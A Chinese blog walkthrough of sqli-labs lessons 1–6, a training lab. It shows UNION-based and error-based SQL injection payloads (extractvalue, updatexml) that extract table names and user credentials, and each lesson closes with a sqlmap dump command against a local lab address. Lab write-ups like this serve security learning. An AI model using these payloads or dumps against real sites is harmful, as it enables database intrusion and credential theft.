sqli-labs(1)

1.

当id为1的时候回显正常

通过‘发现报错,验证sql注入存在

--+可以正常注释后面的内容,通过order by 查询有几列数据

当查询4列的时候发现错误得到有3列的信息

这里的id为-1,-1的数据不会存在给后面查询的1,2,3留下了显示位,正常为1时2,3的显示位为查询出的结果

union select 联合查询找回显位置

在2的位置替换为我们要查询的语句 database() 查询当前的数据库

group_concat(table_name) from information_schema.tables where table_schema = ‘security’ 

group_concat 用于将多个表名一起输出出来

table_name from information_schema.tables 查询表名在information_schema.tables中information_schema.tables通过该库能够查看mysql以下的数据库

where table_schema = ‘security’ where同时满足 数据库等于security

可以看到有emails,referers,uagents,users四个表 

group_concat(column_name) from information_schema.columns where  table_schema = 'security' and  table_name = 'users' --+查看users表中的列

这里是查询类名 和上面的表名是一样的只是用的不同的库

里面有username和password两列

group_concat(username),group_concat(password) from security.users --+

这里直接查询了两个列的数据用了两个group_concat所以要留两个显示位,如果单列查询则不用注意

sqlmap直接爆破就可以

2.

当我们输入单引号双引号的时候发现报错但是去除单引号双引号正常所以知道这里不用单引号双引号

?id=1 order by 4 --+

?id=-1 union select 1,2,3 --+

?id=-1 union select 1,2,database() --+

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-2/?id=1" --batch -D security -T users --dump                                                                                                                                             

3.

通过报错得sql语句带有括号

?id=1')order by 3 --+
?id=1')order by 4 --+

?id=-1')union select 1,2,3--+

?id=-1')union select 1,2,database()--+

?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

?id=-1')union select 1,group_concat(username),group_concat(password) from security.users --+

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-3/?id=1" --batch -D security -T users --dump                                                                                                                                             

4.

根据报错知道是双引号带括号

?id=1")order by 3--+
?id=1")order by 4--+

?id=-1")union select 1,2,3--+
?id=-1")union select 1,2,database()--+

?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+

?id=-1")union select 1,group_concat(username),group_concat(password) from security.users --+

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-4/?id=1" --batch -D security -T users --dump   

5.

第5题里面我们发现如果id存在只会返回You are in 并不会回显数据,所以这里用不了联合注入

通过测试发现报错信息会显示,这里使用报错注入

?id=1'and(extractvalue(1,concat(0x5c,database())))--+
?id=1'and (updatexml(1,concat(0x7e,database(),0x7e),1))--+
这里用了两种报错方法 还可以使用floor报错,NAME_CONST报错,join报错,exp报错,
GeometryCollection()报错,polygon ()报错,multipoint ()报错,
multlinestring ()报错,multpolygon ()报错,linestring ()报错
每种报错在使用时要注意不同的使用格式

?id=1'and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1))--+
?id=1'and (extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+

?id=1'and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' )))) --+
?id=1'and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)) --+

这里只能显示一条信息用limit 分开查看

?id=1'and (updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users limit 0,2),0x7e),1))--+
?id=1'and (extractvalue(1,concat(0x7e,(select (username) from security.users limit 0,1 ))))--+
这里也可以分开查询username 和password的信息

limit offeset,size

offeset代表从哪开始 默认为0 

size 为偏移量

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-5/?id=1" --batch -D security -T users --dump  

6.

这里使用之前的语句发现没有报错猜测是没有正确闭合语句

改为双引号发现成功闭合页面返回报错

?id=1"and (updatexml(1,concat(0x7e,database(),0x7e),1)) --+
?id=1"and (extractvalue(1,concat(0x7e,database()))) --+

?id=1"and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+
?id=1"and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)) --+

?id=1" and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)) --+
?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')))) --+

?id=1" and (extractvalue(1,concat(0x7e,(select username from security.users limit 0,1)))) --+
?id=1" and (updatexml(1,concat(0x7e,(select password from security.users limit 0,1 ),0x7e),1)) --+

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-6/?id=1" --batch -D security -T users --dump  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值